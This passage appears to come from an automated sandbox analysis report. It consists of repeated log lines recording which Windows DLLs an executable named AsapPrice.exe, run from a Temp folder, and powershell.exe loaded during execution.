Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dxgi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: mf.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: mfplat.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: rtworkq.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: msmpeg2vdec.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: mfperfhelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dxva2.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: msvproc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: ffmpeg.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: uiautomationcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: kbdus.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
